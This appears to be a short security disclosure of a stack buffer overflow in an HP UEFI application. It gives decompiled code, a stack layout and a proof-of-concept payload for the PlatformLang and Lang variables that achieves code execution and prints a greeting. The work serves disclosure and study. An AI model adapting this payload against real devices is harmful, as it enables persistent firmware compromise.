The stack buffer overflow vulnerability leads to arbitrary code execution in UEFI application on multiple HP devices.

VendorGuid.Data1 = 0x8BE4DF61;
*&VendorGuid.Data2 = 0x11D293CA;
*VendorGuid.Data4 = 0xE0000DAA;
*&VendorGuid.Data4[4] = 0x8C2B0398;
Buffer = 0i64;
DataSize = 8i64;                              // data size only initialize once
if ( IsNotEqual(buf, g_buf) )                 // False (buf = g_buf)
{
  gBS_157B28->SetMem(&Buffer, 8ui64, 0);
  sprintf_s(&Buffer, 8i64, "%a", vLang);
}
else if ( (gRT_157B30->GetVariable(L"PlatformLang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) == 0i64 )
{
  WriteLog(L"PlatformLang reported as %a.\r\n", &Buffer);
}
else
{
  // DataSize didn't change after the first GetVariable call which leads stack buffer overflow
  if ( (gRT_157B30->GetVariable(L"Lang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) != 0i64 )
  {
    result = WriteLog(L"Unable to find Lang variable, defaulting to English.\r\n");
    g_LangVarFound = 0i64;
    return result;
  }
  WriteLog(L"Lang reported as %a.\r\n", &Buffer);
}

setvar PlatformLang =4141414141414141424141414141414143414141414141414441414141414141454141414141414110e7e90700000000b818e09e07ba020000004c8b40404c89c141ff5028b818e09e07ba41e7e9074c8b40404c89c141ff5008ebfc90909090904700720065006500740069006e00670073002000660072006f006d002000650066006900580070006c006f00720065007200210000
setvar Lang =4141414141414141424141414141414143414141414141414441414141414141454141414141414110e7e90700000000b818e09e07ba020000004c8b40404c89c141ff5028b818e09e07ba41e7e9074c8b40404c89c141ff5008ebfc90909090904700720065006500740069006e00670073002000660072006f006d002000650066006900580070006c006f00720065007200210000

-0000000000000004 VendorGuid      dd ?
+0000000000000000  s              db 24 dup(?)
+0000000000000018  r              db 8 dup(?)
+0000000000000020 arg_0           dq ?
+0000000000000028 arg_8           dq ?
+0000000000000030 Buffer          dq ?
+0000000000000038 DataSize        dq ?
+0000000000000040
+0000000000000040 ; end of stack variables